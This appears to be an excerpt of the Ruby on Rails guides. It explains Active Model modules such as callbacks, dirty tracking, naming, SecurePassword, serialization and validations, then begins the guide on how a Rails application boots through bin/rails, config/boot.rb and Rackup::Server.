
`attribute_method_prefix` and `attribute_method_suffix` are used to define the prefixes and suffixes that will be used to create the methods. `attribute_method_affix` is used to define both the prefix and suffix at the same time.

```
class Person
  include ActiveModel::AttributeMethods

  attribute_method_affix prefix: "reset_", suffix: "_to_default!"
  attribute_method_prefix "first_", "last_"
  attribute_method_suffix "_short?"

  define_attribute_methods "name"

  attr_accessor :name

  private
    # Attribute method call for 'first_name'
    def first_attribute(attribute)
      public_send(attribute).split.first
    end

    # Attribute method call for 'last_name'
    def last_attribute(attribute)
      public_send(attribute).split.last
    end

    # Attribute method call for 'name_short?'
    def attribute_short?(attribute)
      public_send(attribute).length < 5
    end

    # Attribute method call 'reset_name_to_default!'
    def reset_attribute_to_default!(attribute)
      public_send("#{attribute}=", "Default Name")
    end
end
```

```
irb> person = Person.new
irb> person.name = "Jane Doe"

irb> person.first_name
=> "Jane"
irb> person.last_name
=> "Doe"

irb> person.name_short?
=> false

irb> person.reset_name_to_default!
=> "Default Name"
```

If you call a method that is not defined, it will raise a `NoMethodError` error.

#### [1.5.1. Method: `alias_attribute`](#method-alias-attribute)

`ActiveModel::AttributeMethods` provides aliasing of attribute methods using `alias_attribute`.

The example below creates an alias attribute for `name` called `full_name`. They return the same value, but the alias `full_name` better reflects that the attribute includes a first name and last name.

```
class Person
  include ActiveModel::AttributeMethods

  attribute_method_suffix "_short?"
  define_attribute_methods :name

  attr_accessor :name

  alias_attribute :full_name, :name

  private
    def attribute_short?(attribute)
      public_send(attribute).length < 5
    end
end
```

```
irb> person = Person.new
irb> person.name = "Joe Doe"
irb> person.name
=> "Joe Doe"

# `full_name` is the alias for `name`, and returns the same value
irb> person.full_name
=> "Joe Doe"
irb> person.name_short?
=> false

# `full_name_short?` is the alias for `name_short?`, and returns the same value
irb> person.full_name_short?
=> false
```

### [1.6. Callbacks](#callbacks)

[`ActiveModel::Callbacks`](https://api.rubyonrails.org/v8.1.4/classes/ActiveModel/Callbacks.html) gives plain Ruby objects [Active Record style callbacks](active_record_callbacks.html). The callbacks allow you to hook into model lifecycle events, such as `before_update` and `after_create`, as well as to define custom logic to be executed at specific points in the model's lifecycle.

You can implement `ActiveModel::Callbacks` by following the steps below:

1. Extend `ActiveModel::Callbacks` within your class.
2. Employ `define_model_callbacks` to establish a list of methods that should have callbacks associated with them. When you designate a method such as `:update`, it will automatically include all three default callbacks (`before`, `around`, and `after`) for the `:update` event.
3. Inside the defined method, utilize `run_callbacks`, which will execute the callback chain when the specific event is triggered.
4. In your class, you can then utilize the `before_update`, `after_update`, and `around_update` methods like how you would use them in an Active Record model.

```
class Person
  extend ActiveModel::Callbacks

  define_model_callbacks :update

  before_update :reset_me
  after_update :finalize_me
  around_update :log_me

  # `define_model_callbacks` method containing `run_callbacks` which runs the callback(s) for the given event
  def update
    run_callbacks(:update) do
      puts "update method called"
    end
  end

  private
    # When update is called on an object, then this method is called by `before_update` callback
    def reset_me
      puts "reset_me method: called before the update method"
    end

    # When update is called on an object, then this method is called by `after_update` callback
    def finalize_me
      puts "finalize_me method: called after the update method"
    end

    # When update is called on an object, then this method is called by `around_update` callback
    def log_me
      puts "log_me method: called around the update method"
      yield
      puts "log_me method: block successfully called"
    end
end
```

The above class will yield the following which indicates the order in which the callbacks are being called:

```
irb> person = Person.new
irb> person.update
reset_me method: called before the update method
log_me method: called around the update method
update method called
log_me method: block successfully called
finalize_me method: called after the update method
=> nil
```

As per the above example, when defining an 'around' callback remember to `yield` to the block, otherwise, it won't be executed.

`method_name` passed to `define_model_callbacks` must not end with `!`, `?` or `=`. In addition, defining the same callback multiple times will overwrite previous callback definitions.

#### [1.6.1. Defining Specific Callbacks](#defining-specific-callbacks)

You can choose to create specific callbacks by passing the `only` option to the `define_model_callbacks` method:

```
define_model_callbacks :update, :create, only: [:after, :before]
```

This will create only the `before_create` / `after_create` and `before_update` / `after_update` callbacks, but skip the `around_*` ones. The option will apply to all callbacks defined on that method call. It's possible to call `define_model_callbacks` multiple times, to specify different lifecycle events:

```
define_model_callbacks :create, only: :after
define_model_callbacks :update, only: :before
define_model_callbacks :destroy, only: :around
```

This will create `after_create`, `before_update`, and `around_destroy` methods only.

#### [1.6.2. Defining Callbacks with a Class](#defining-callbacks-with-a-class)

You can pass a class to `before_<type>`, `after_<type>` and `around_<type>` for more control over when and in what context your callbacks are triggered. The callback will trigger that class's `<action>_<type>` method, passing an instance of the class as an argument.

```
class Person
  extend ActiveModel::Callbacks

  define_model_callbacks :create
  before_create PersonCallbacks
end

class PersonCallbacks
  def self.before_create(obj)
    # `obj` is the Person instance that the callback is being called on
  end
end
```

#### [1.6.3. Aborting Callbacks](#aborting-callbacks)

The callback chain can be aborted at any point in time by throwing `:abort`. This is similar to how Active Record callbacks work.

In the example below, since we throw `:abort` before an update in the `reset_me` method, the remaining callback chain including `before_update` will be aborted, and the body of the `update` method won't be executed.

```
class Person
  extend ActiveModel::Callbacks

  define_model_callbacks :update

  before_update :reset_me
  after_update :finalize_me
  around_update :log_me

  def update
    run_callbacks(:update) do
      puts "update method called"
    end
  end

  private
    def reset_me
      puts "reset_me method: called before the update method"
      throw :abort
      puts "reset_me method: some code after abort"
    end

    def finalize_me
      puts "finalize_me method: called after the update method"
    end

    def log_me
      puts "log_me method: called around the update method"
      yield
      puts "log_me method: block successfully called"
    end
end
```

```
irb> person = Person.new

irb> person.update
reset_me method: called before the update method
=> false
```

### [1.7. Conversion](#conversion)

[`ActiveModel::Conversion`](https://api.rubyonrails.org/v8.1.4/classes/ActiveModel/Conversion.html) is a collection of methods that allow you to convert your object to different forms for different purposes. A common use case is to convert your object to a string or an integer to build URLs, form fields, and more.

The `ActiveModel::Conversion` module adds the following methods: `to_model`, `to_key`, `to_param`, and `to_partial_path` to classes.

The return values of the methods depend on whether `persisted?` is defined and if an `id` is provided. The `persisted?` method should return `true` if the object has been saved to the database or store, otherwise, it should return `false`. The `id` should reference the id of the object or nil if the object is not saved.

```
class Person
  include ActiveModel::Conversion
  attr_accessor :id

  def initialize(id)
    @id = id
  end

  def persisted?
    id.present?
  end
end
```

#### [1.7.1. to\_model](#to-model)

The `to_model` method returns the object itself.

```
irb> person = Person.new(1)
irb> person.to_model == person
=> true
```

If your model does not act like an Active Model object, then you should define `:to_model` yourself returning a proxy object that wraps your object with Active Model compliant methods.

```
class Person
  def to_model
    # A proxy object that wraps your object with Active Model compliant methods.
    PersonModel.new(self)
  end
end
```

#### [1.7.2. to\_key](#to-key)

The `to_key` method returns an array of the object's key attributes if any of the attributes are set, whether or not the object is persisted. Returns nil if there are no key attributes.

```
irb> person.to_key
=> [1]
```

A key attribute is an attribute that is used to identify the object. For example, in a database-backed model, the key attribute is the primary key.

#### [1.7.3. to\_param](#to-param)

The `to_param` method returns a `string` representation of the object's key suitable for use in URLs, or `nil` in the case where `persisted?` is `false`.

```
irb> person.to_param
=> "1"
```

#### [1.7.4. to\_partial\_path](#to-partial-path)

The `to_partial_path` method returns a `string` representing the path associated with the object. Action Pack uses this to find a suitable partial to represent the object.

```
irb> person.to_partial_path
=> "people/person"
```

### [1.8. Dirty](#dirty)

[`ActiveModel::Dirty`](https://api.rubyonrails.org/v8.1.4/classes/ActiveModel/Dirty.html) is useful for tracking changes made to model attributes before they are saved. This functionality allows you to determine which attributes have been modified, what their previous and current values are, and perform actions based on those changes. It's particularly handy for auditing, validation, and conditional logic within your application. It provides a way to track changes in your object in the same way as Active Record.

An object becomes dirty when it has gone through one or more changes to its attributes and has not been saved. It has attribute-based accessor methods.

To use `ActiveModel::Dirty`, you need to:

1. Include the module in your class.
2. Define the attribute methods that you want to track changes for, using `define_attribute_methods`.
3. Call `[attr_name]_will_change!` before each change to the tracked attribute.
4. Call `changes_applied` after the changes are persisted.
5. Call `clear_changes_information` when you want to reset the changes information.
6. Call `restore_attributes` when you want to restore previous data.

You can then use the methods provided by `ActiveModel::Dirty` to query the object for its list of all changed attributes, the original values of the changed attributes, and the changes made to the attributes.

Let's consider a `Person` class with attributes `first_name` and `last_name` and determine how we can use `ActiveModel::Dirty` to track changes to these attributes.

```
class Person
  include ActiveModel::Dirty

  attr_reader :first_name, :last_name
  define_attribute_methods :first_name, :last_name

  def initialize
    @first_name = nil
    @last_name = nil
  end

  def first_name=(value)
    first_name_will_change! unless value == @first_name
    @first_name = value
  end

  def last_name=(value)
    last_name_will_change! unless value == @last_name
    @last_name = value
  end

  def save
    # Persist data - clears dirty data and moves `changes` to `previous_changes`.
    changes_applied
  end

  def reload!
    # Clears all dirty data: current changes and previous changes.
    clear_changes_information
  end

  def rollback!
    # Restores all previous data of the provided attributes.
    restore_attributes
  end
end
```

#### [1.8.1. Querying an Object Directly for its List of All Changed Attributes](#querying-an-object-directly-for-its-list-of-all-changed-attributes)

```
irb> person = Person.new

# A newly instantiated `Person` object is unchanged:
irb> person.changed?
=> false

irb> person.first_name = "Jane Doe"
irb> person.first_name
=> "Jane Doe"
```

**`changed?`** returns `true` if any of the attributes have unsaved changes, `false` otherwise.

```
irb> person.changed?
=> true
```

**`changed`** returns an array with the name of the attributes containing unsaved changes.

```
irb> person.changed
=> ["first_name"]
```

**`changed_attributes`** returns a hash of the attributes with unsaved changes indicating their original values like `attr => original value`.

```
irb> person.changed_attributes
=> {"first_name" => nil}
```

**`changes`** returns a hash of changes, with the attribute names as the keys, and the values as an array of the original and new values like `attr => [original value, new value]`.

```
irb> person.changes
=> {"first_name" => [nil, "Jane Doe"]}
```

**`previous_changes`** returns a hash of attributes that were changed before the model was saved (i.e. before `changes_applied` is called).

```
irb> person.previous_changes
=> {}

irb> person.save
irb> person.previous_changes
=> {"first_name" => [nil, "Jane Doe"]}
```

#### [1.8.2. Attribute-based Accessor Methods](#attribute-based-accessor-methods)

```
irb> person = Person.new

irb> person.changed?
=> false

irb> person.first_name = "John Doe"
irb> person.first_name
=> "John Doe"
```

**`[attr_name]_changed?`** checks whether the particular attribute has been changed or not.

```
irb> person.first_name_changed?
=> true
```

**`[attr_name]_was`** tracks the previous value of the attribute.

```
irb> person.first_name_was
=> nil
```

**`[attr_name]_change`** tracks both the previous and current values of the changed attribute. Returns an array with `[original value, new value]` if changed, otherwise returns `nil`.

```
irb> person.first_name_change
=> [nil, "John Doe"]
irb> person.last_name_change
=> nil
```

**`[attr_name]_previously_changed?`** checks whether the particular attribute has been changed before the model was saved (i.e. before `changes_applied` is called).

```
irb> person.first_name_previously_changed?
=> false
irb> person.save
irb> person.first_name_previously_changed?
=> true
```

**`[attr_name]_previous_change`** tracks both previous and current values of the changed attribute before the model was saved (i.e. before `changes_applied` is called). Returns an array with `[original value, new value]` if changed, otherwise returns `nil`.

```
irb> person.first_name_previous_change
=> [nil, "John Doe"]
```

### [1.9. Naming](#naming)

[`ActiveModel::Naming`](https://api.rubyonrails.org/v8.1.4/classes/ActiveModel/Naming.html) adds a class method and helper methods to make naming and routing easier to manage. The module defines the `model_name` class method which will define several accessors using some [`ActiveSupport::Inflector`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/Inflector.html) methods.

```
class Person
  extend ActiveModel::Naming
end
```

**`name`** returns the name of the model.

```
irb> Person.model_name.name
=> "Person"
```

**`singular`** returns the singular class name of a record or class.

```
irb> Person.model_name.singular
=> "person"
```

**`plural`** returns the plural class name of a record or class.

```
irb> Person.model_name.plural
=> "people"
```

**`element`** removes the namespace and returns the singular snake\_cased name. It is generally used by Action Pack and/or Action View helpers to aid in rendering the name of partials/forms.

```
irb> Person.model_name.element
=> "person"
```

**`human`** transforms the model name into a more human format, using I18n. By default, it will underscore and then humanize the class name.

```
irb> Person.model_name.human
=> "Person"
```

**`collection`** removes the namespace and returns the plural snake\_cased name. It is generally used by Action Pack and/or Action View helpers to aid in rendering the name of partials/forms.

```
irb> Person.model_name.collection
=> "people"
```

**`param_key`** returns a string to use for params names.

```
irb> Person.model_name.param_key
=> "person"
```

**`i18n_key`** returns the name of the i18n key. It underscores the model name and then returns it as a symbol.

```
irb> Person.model_name.i18n_key
=> :person
```

**`route_key`** returns a string to use while generating route names.

```
irb> Person.model_name.route_key
=> "people"
```

**`singular_route_key`** returns a string to use while generating route names.

```
irb> Person.model_name.singular_route_key
=> "person"
```

**`uncountable?`** identifies whether the class name of a record or class is uncountable.

```
irb> Person.model_name.uncountable?
=> false
```

Some `Naming` methods, like `param_key`, `route_key` and `singular_route_key`, differ for namespaced models based on whether it's inside an isolated [Engine](engines.html).

#### [1.9.1. Customize the Name of the Model](#customize-the-name-of-the-model)

Sometimes you may want to customize the name of the model that is used in form helpers and URL generation. This can be useful in situations where you want to use a more user-friendly name for the model, while still being able to reference it using its full namespace.

For example, let's say you have a `Person` namespace in your Rails application, and you want to create a form for a new `Person::Profile`.

By default, Rails would generate the form with the URL `/person/profiles`, which includes the namespace `person`. However, if you want the URL to simply point to `profiles` without the namespace, you can customize the `model_name` method like this:

```
module Person
  class Profile
    include ActiveModel::Model

    def self.model_name
      ActiveModel::Name.new(self, nil, "Profile")
    end
  end
end
```

With this setup, when you use the `form_with` helper to create a form for creating a new `Person::Profile`, Rails will generate the form with the URL `/profiles` instead of `/person/profiles`, because the `model_name` method has been overridden to return `Profile`.

In addition, the path helpers will be generated without the namespace, so you can use `profiles_path` instead of `person_profiles_path` to generate the URL for the `profiles` resource. To use the `profiles_path` helper, you need to define the routes for the `Person::Profile` model in your `config/routes.rb` file like this:

```
Rails.application.routes.draw do
  resources :profiles
end
```

Consequently, you can expect the model to return the following values for methods that were described in the previous section:

```
irb> name = ActiveModel::Name.new(Person::Profile, nil, "Profile")
=> #<ActiveModel::Name:0x000000014c5dbae0

irb> name.singular
=> "profile"
irb> name.singular_route_key
=> "profile"
irb> name.route_key
=> "profiles"
```

### [1.10. SecurePassword](#securepassword)

[`ActiveModel::SecurePassword`](https://api.rubyonrails.org/v8.1.4/classes/ActiveModel/SecurePassword.html) provides a way to securely store any password in an encrypted form. When you include this module, a `has_secure_password` class method is provided which defines a `password` accessor with certain validations on it by default.

`ActiveModel::SecurePassword` depends on [`bcrypt`](https://github.com/bcrypt-ruby/bcrypt-ruby "BCrypt"), so include this gem in your `Gemfile` to use it.

```
gem "bcrypt"
```

`ActiveModel::SecurePassword` requires you to have a `password_digest` attribute.

The following validations are added automatically:

1. Password must be present on creation.
2. Confirmation of password (using a `password_confirmation` attribute).
3. The maximum length of a password is 72 bytes (required as `bcrypt` truncates the string to this size before encrypting it).

If password confirmation validation is not needed, simply leave out the value for `password_confirmation` (i.e. don't provide a form field for it). When this attribute has a `nil` value, the validation will not be triggered.

For further customization, it is possible to suppress the default validations by passing `validations: false` as an argument.

```
class Person
  include ActiveModel::SecurePassword

  has_secure_password
  has_secure_password :recovery_password, validations: false

  attr_accessor :password_digest, :recovery_password_digest
end
```

```
irb> person = Person.new

# When password is blank.
irb> person.valid?
=> false

# When the confirmation doesn't match the password.
irb> person.password = "aditya"
irb> person.password_confirmation = "nomatch"
irb> person.valid?
=> false

# When the length of password exceeds 72.
irb> person.password = person.password_confirmation = "a" * 100
irb> person.valid?
=> false

# When only password is supplied with no password_confirmation.
irb> person.password = "aditya"
irb> person.valid?
=> true

# When all validations are passed.
irb> person.password = person.password_confirmation = "aditya"
irb> person.valid?
=> true

irb> person.recovery_password = "42password"

# `authenticate` is an alias for `authenticate_password`
irb> person.authenticate("aditya")
=> #<Person> # == person
irb> person.authenticate("notright")
=> false
irb> person.authenticate_password("aditya")
=> #<Person> # == person
irb> person.authenticate_password("notright")
=> false

irb> person.authenticate_recovery_password("aditya")
=> false
irb> person.authenticate_recovery_password("42password")
=> #<Person> # == person
irb> person.authenticate_recovery_password("notright")
=> false

irb> person.password_digest
=> "$2a$04$gF8RfZdoXHvyTjHhiU4ZsO.kQqV9oonYZu31PRE4hLQn3xM2qkpIy"
irb> person.recovery_password_digest
=> "$2a$04$iOfhwahFymCs5weB3BNH/uXkTG65HR.qpW.bNhEjFP3ftli3o5DQC"
```

### [1.11. Serialization](#serialization)

[`ActiveModel::Serialization`](https://api.rubyonrails.org/v8.1.4/classes/ActiveModel/Serialization.html) provides basic serialization for your object. You need to declare an attributes hash that contains the attributes you want to serialize. Attributes must be strings, not symbols.

```
class Person
  include ActiveModel::Serialization

  attr_accessor :name, :age

  def attributes
    # Declaration of attributes that will be serialized
    { "name" => nil, "age" => nil }
  end

  def capitalized_name
    # Declared methods can be later included in the serialized hash
    name&.capitalize
  end
end
```

Now you can access a serialized hash of your object using the `serializable_hash` method. Valid options for `serializable_hash` include `:only`, `:except`, `:methods` and `:include`.

```
irb> person = Person.new

irb> person.serializable_hash
=> {"name" => nil, "age" => nil}

# Set the name and age attributes and serialize the object
irb> person.name = "bob"
irb> person.age = 22
irb> person.serializable_hash
=> {"name" => "bob", "age" => 22}

# Use the methods option to include the capitalized_name method
irb>  person.serializable_hash(methods: :capitalized_name)
=> {"name" => "bob", "age" => 22, "capitalized_name" => "Bob"}

# Use the only method to include only the name attribute
irb> person.serializable_hash(only: :name)
=> {"name" => "bob"}

# Use the except method to exclude the name attribute
irb> person.serializable_hash(except: :name)
=> {"age" => 22}
```

The example to utilize the `includes` option requires a slightly more complex scenario as defined below:

```
  class Person
    include ActiveModel::Serialization
    attr_accessor :name, :notes # Emulate has_many :notes

    def attributes
      { "name" => nil }
    end
  end

  class Note
    include ActiveModel::Serialization
    attr_accessor :title, :text

    def attributes
      { "title" => nil, "text" => nil }
    end
  end
```

```
irb> note = Note.new
irb> note.title = "Weekend Plans"
irb> note.text = "Some text here"

irb> person = Person.new
irb> person.name = "Napoleon"
irb> person.notes = [note]

irb> person.serializable_hash
=> {"name" => "Napoleon"}

irb> person.serializable_hash(include: { notes: { only: "title" }})
=> {"name" => "Napoleon", "notes" => [{"title" => "Weekend Plans"}]}
```

#### [1.11.1. ActiveModel::Serializers::JSON](#activemodel-serializers-json)

Active Model also provides the [`ActiveModel::Serializers::JSON`](https://api.rubyonrails.org/v8.1.4/classes/ActiveModel/Serializers/JSON.html) module for JSON serializing / deserializing.

To use the JSON serialization, change the module you are including from `ActiveModel::Serialization` to `ActiveModel::Serializers::JSON`. It already includes the former, so there is no need to explicitly include it.

```
class Person
  include ActiveModel::Serializers::JSON

  attr_accessor :name

  def attributes
    { "name" => nil }
  end
end
```

The `as_json` method, similar to `serializable_hash`, provides a hash representing the model with its keys as a string. The `to_json` method returns a JSON string representing the model.

```
irb> person = Person.new

# A hash representing the model with its keys as a string
irb> person.as_json
=> {"name" => nil}

# A JSON string representing the model
irb> person.to_json
=> "{\"name\":null}"

irb> person.name = "Bob"
irb> person.as_json
=> {"name" => "Bob"}

irb> person.to_json
=> "{\"name\":\"Bob\"}"
```

You can also define the attributes for a model from a JSON string. To do that, first define the `attributes=` method in your class:

```
class Person
  include ActiveModel::Serializers::JSON

  attr_accessor :name

  def attributes=(hash)
    hash.each do |key, value|
      public_send("#{key}=", value)
    end
  end

  def attributes
    { "name" => nil }
  end
end
```

Now it is possible to create an instance of `Person` and set attributes using `from_json`.

```
irb> json = { name: "Bob" }.to_json
=> "{\"name\":\"Bob\"}"

irb> person = Person.new

irb> person.from_json(json)
=> #<Person:0x00000100c773f0 @name="Bob">

irb> person.name
=> "Bob"
```

### [1.12. Translation](#translation)

[`ActiveModel::Translation`](https://api.rubyonrails.org/v8.1.4/classes/ActiveModel/Translation.html) provides integration between your object and the [Rails internationalization (i18n) framework](i18n.html).

```
class Person
  extend ActiveModel::Translation
end
```

With the `human_attribute_name` method, you can transform attribute names into a more human-readable format. The human-readable format is defined in your locale file(s).

```
# config/locales/app.pt-BR.yml
pt-BR:
  activemodel:
    attributes:
      person:
        name: "Nome"
```

```
irb> Person.human_attribute_name("name")
=> "Name"

irb> I18n.locale = :"pt-BR"
=> :"pt-BR"
irb> Person.human_attribute_name("name")
=> "Nome"
```

### [1.13. Validations](#validations)

[`ActiveModel::Validations`](https://api.rubyonrails.org/v8.1.4/classes/ActiveModel/Validations.html) adds the ability to validate objects and it is important for ensuring data integrity and consistency within your application. By incorporating validations into your models, you can define rules that govern the correctness of attribute values, and prevent invalid data.

```
class Person
  include ActiveModel::Validations

  attr_accessor :name, :email, :token

  validates :name, presence: true
  validates :email, format: { with: URI::MailTo::EMAIL_REGEXP }
  validates! :token, presence: true
end
```

```
irb> person = Person.new
irb> person.token = "2b1f325"
irb> person.valid?
=> false

irb> person.name = "Jane Doe"
irb> person.email = "me"
irb> person.valid?
=> false

irb> person.email = "jane.doe@gmail.com"
irb> person.valid?
=> true

# `token` uses validate! and will raise an exception when not set.
irb> person.token = nil
irb> person.valid?
=> "Token can't be blank (ActiveModel::StrictValidationFailed)"
```

#### [1.13.1. Validation Methods and Options](#validation-methods-and-options)

You can add validations using some of the following methods:

* [`validate`](https://api.rubyonrails.org/v8.1.4/classes/ActiveModel/Validations/ClassMethods.html#method-i-validate): Adds validation through a method or a block to the class.

* [`validates`](https://api.rubyonrails.org/v8.1.4/classes/ActiveModel/Validations/ClassMethods.html#method-i-validates): An attribute can be passed to the `validates` method and it provides a shortcut to all default validators.

* [`validates!`](https://api.rubyonrails.org/v8.1.4/classes/ActiveModel/Validations/ClassMethods.html#method-i-validates-21) or setting `strict: true`: Used to define validations that cannot be corrected by end users and are considered exceptional. Each validator defined with a bang or `:strict` option set to true will always raise `ActiveModel::StrictValidationFailed` instead of adding to the errors when validation fails.

* [`validates_with`](https://api.rubyonrails.org/v8.1.4/classes/ActiveModel/Validations/ClassMethods.html#method-i-validates_with): Passes the record off to the class or classes specified and allows them to add errors based on more complex conditions.

* [`validates_each`](https://api.rubyonrails.org/v8.1.4/classes/ActiveModel/Validations/ClassMethods.html#method-i-validates_each): Validates each attribute against a block.

Some of the options below can be used with certain validators. To determine if the option you're using can be used with a specific validator, read through [the validation documentation](https://api.rubyonrails.org/v8.1.4/classes/ActiveModel/Validations/ClassMethods.html).

* `:on`: Specifies the context in which to add the validation. You can pass a symbol or an array of symbols. (e.g. `on: :create` or `on: :custom_validation_context` or `on: [:create, :custom_validation_context]`). Validations without an `:on` option will run no matter the context. Validations with some `:on` option will only run in the specified context. You can pass the context when validating via `valid?(:context)`.

* `:if`: Specifies a method, proc or string to call to determine if the validation should occur (e.g. `if: :allow_validation`, or `if: -> { signup_step > 2 }`). The method, proc or string should return or evaluate to a `true` or `false` value.

* `:unless`: Specifies a method, proc or string to call to determine if the validation should not occur (e.g. `unless: :skip_validation`, or `unless: Proc.new { |user| user.signup_step <= 2 }`). The method, proc or string should return or evaluate to a `true` or `false` value.

* `:allow_nil`: Skip the validation if the attribute is `nil`.

* `:allow_blank`: Skip the validation if the attribute is blank.

* `:strict`: If the `:strict` option is set to true, it will raise `ActiveModel::StrictValidationFailed` instead of adding the error. `:strict` option can also be set to any other exception.

Calling `validate` multiple times on the same method will overwrite previous definitions.

#### [1.13.2. Errors](#errors)

`ActiveModel::Validations` automatically adds an `errors` method to your instances initialized with a new [`ActiveModel::Errors`](https://api.rubyonrails.org/v8.1.4/classes/ActiveModel/Errors.html) object, so there is no need for you to do this manually.

Run `valid?` on the object to check if the object is valid or not. If the object is not valid, it will return `false` and the errors will be added to the `errors` object.

```
irb> person = Person.new

irb> person.email = "me"
irb> person.valid?
=> # Raises Token can't be blank (ActiveModel::StrictValidationFailed)

irb> person.errors.to_hash
=> {:name => ["can't be blank"], :email => ["is invalid"]}

irb> person.errors.full_messages
=> ["Name can't be blank", "Email is invalid"]
```

### [1.14. Lint Tests](#lint-tests)

[`ActiveModel::Lint::Tests`](https://api.rubyonrails.org/v8.1.4/classes/ActiveModel/Lint/Tests.html) allows you to test whether an object is compliant with the Active Model API. By including `ActiveModel::Lint::Tests` in your TestCase, it will include tests that tell you whether your object is fully compliant, or if not, which aspects of the API are not implemented.

These tests do not attempt to determine the semantic correctness of the returned values. For instance, you could implement `valid?` to always return `true`, and the tests would pass. It is up to you to ensure that the values are semantically meaningful.

Objects you pass in are expected to return a compliant object from a call to `to_model`. It is perfectly fine for `to_model` to return `self`.

* `app/models/person.rb`

  ```
  class Person
    include ActiveModel::API
  end
  ```

* `test/models/person_test.rb`

  ```
  require "test_helper"

  class PersonTest < ActiveSupport::TestCase
    include ActiveModel::Lint::Tests

    setup do
      @model = Person.new
    end
  end
  ```

See [the test methods documentation](https://api.rubyonrails.org/v8.1.4/classes/ActiveModel/Lint/Tests.html) for more details.

To run the tests you can use the following command:

```
$ bin/rails test

Run options: --seed 14596

# Running:

......

Finished in 0.024899s, 240.9735 runs/s, 1204.8677 assertions/s.

6 runs, 30 assertions, 0 failures, 0 errors, 0 skips
```

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/initialization.html
----

***

This guide goes through every method call that is required to boot up the Ruby on Rails stack for a default Rails application, explaining each part in detail along the way. For this guide, we will be focusing on what happens when you execute `bin/rails server` to boot your app.

Paths in this guide are relative to Rails or a Rails application unless otherwise specified.

If you want to follow along while browsing the Rails [source code](https://github.com/rails/rails), we recommend that you use the `t` key binding to open the file finder inside GitHub and find files quickly.

## [1. Launch!](#launch-bang)

Let's start to boot and initialize the app. A Rails application is usually started by running `bin/rails console` or `bin/rails server`.

### [1.1. `bin/rails`](#bin-rails)

This file is as follows:

```
#!/usr/bin/env ruby
APP_PATH = File.expand_path("../config/application", __dir__)
require_relative "../config/boot"
require "rails/commands"
```

The `APP_PATH` constant will be used later in `rails/commands`. The `config/boot` file referenced here is the `config/boot.rb` file in our application which is responsible for loading Bundler and setting it up.

### [1.2. `config/boot.rb`](#config-boot-rb)

`config/boot.rb` contains:

```
ENV["BUNDLE_GEMFILE"] ||= File.expand_path("../Gemfile", __dir__)

require "bundler/setup" # Set up gems listed in the Gemfile.
require "bootsnap/setup" # Speed up boot time by caching expensive operations.
```

In a standard Rails application, there's a `Gemfile` which declares all dependencies of the application. `config/boot.rb` sets `ENV['BUNDLE_GEMFILE']` to the location of this file. If the `Gemfile` exists, then `bundler/setup` is required. The require is used by Bundler to configure the load path for your Gemfile's dependencies.

### [1.3. `rails/commands.rb`](#rails-commands-rb)

Once `config/boot.rb` has finished, the next file that is required is `rails/commands`, which helps in expanding aliases. In the current case, the `ARGV` array simply contains `server` which will be passed over:

```
require "rails/command"

aliases = {
  "g"  => "generate",
  "d"  => "destroy",
  "c"  => "console",
  "s"  => "server",
  "db" => "dbconsole",
  "r"  => "runner",
  "t"  => "test"
}

command = ARGV.shift
command = aliases[command] || command

Rails::Command.invoke command, ARGV
```

If we had used `s` rather than `server`, Rails would have used the `aliases` defined here to find the matching command.

### [1.4. `rails/command.rb`](#rails-command-rb)

When one types a Rails command, `invoke` tries to lookup a command for the given namespace and executes the command if found.

If Rails doesn't recognize the command, it hands the reins over to Rake to run a task of the same name.

As shown, `Rails::Command` displays the help output automatically if the `namespace` is empty.

```
module Rails
  module Command
    class << self
      def invoke(full_namespace, args = [], **config)
        args = ["--help"] if rails_new_with_no_path?(args)

        full_namespace = full_namespace.to_s
        namespace, command_name = split_namespace(full_namespace)
        command = find_by_namespace(namespace, command_name)

        with_argv(args) do
          if command && command.all_commands[command_name]
            command.perform(command_name, args, config)
          else
            invoke_rake(full_namespace, args, config)
          end
        end
      rescue UnrecognizedCommandError => error
        if error.name == full_namespace && command && command_name == full_namespace
          command.perform("help", [], config)
        else
          puts error.detailed_message
        end
        exit(1)
      end
    end
  end
end
```

With the `server` command, Rails will further run the following code:

```
module Rails
  module Command
    class ServerCommand < Base # :nodoc:
      def perform
        set_application_directory!
        prepare_restart

        Rails::Server.new(server_options).tap do |server|
          # Require application after server sets environment to propagate
          # the --environment option.
          require APP_PATH
          Dir.chdir(Rails.application.root)

          if server.serveable?
            print_boot_information(server.server, server.served_url)
            after_stop_callback = -> { say "Exiting" unless options[:daemon] }
            server.start(after_stop_callback)
          else
            say rack_server_suggestion(options[:using])
          end
        end
      end
    end
  end
end
```

This file will change into the Rails root directory (a path two directories up from `APP_PATH` which points at `config/application.rb`), but only if the `config.ru` file isn't found. This then starts up the `Rails::Server` class.

### [1.5. `actionpack/lib/action_dispatch.rb`](#actionpack-lib-action-dispatch-rb)

Action Dispatch is the routing component of the Rails framework. It adds functionality like routing, session, and common middlewares.

### [1.6. `rails/commands/server/server_command.rb`](#rails-commands-server-server-command-rb)

The `Rails::Server` class is defined in this file by inheriting from `Rackup::Server`. When `Rails::Server.new` is called, this calls the `initialize` method in `rails/commands/server/server_command.rb`:

```
module Rails
  class Server < Rackup::Server
    def initialize(options = nil)
      @default_options = options || {}
      super(@default_options)
      set_environment
    end
  end
end
```

Firstly, `super` is called which calls the `initialize` method on `Rackup::Server`.

### [1.7. Rackup: `lib/rackup/server.rb`](#rackup-lib-rackup-server-rb)

`Rackup::Server` is responsible for providing a common server interface for all Rack-based applications, which Rails is now a part of.

The `initialize` method in `Rackup::Server` simply sets several variables:

```
module Rackup
  class Server
    def initialize(options = nil)
      @ignore_options = []

      if options
        @use_default_options = false
        @options = options
        @app = options[:app] if options[:app]
      else
        @use_default_options = true
        @options = parse_options(ARGV)
      end
    end
  end
end
```

In this case, return value of `Rails::Command::ServerCommand#server_options` will be assigned to `options`. When lines inside if statement is evaluated, a couple of instance variables will be set.

`server_options` method in `Rails::Command::ServerCommand` is defined as follows:

```
module Rails
  module Command
    class ServerCommand < Base # :nodoc:
      no_commands do
        def server_options
          {
            user_supplied_options: user_supplied_options,
            server:                options[:using],
            log_stdout:            log_to_stdout?,
            Port:                  port,
            Host:                  host,
            DoNotReverseLookup:    true,
            config:                options[:config],
            environment:           environment,
            daemonize:             options[:daemon],
            pid:                   pid,
            caching:               options[:dev_caching],
            restart_cmd:           restart_command,
            early_hints:           early_hints
          }
        end
      end
    end
  end
end
```

The value will be assigned to instance variable `@options`.

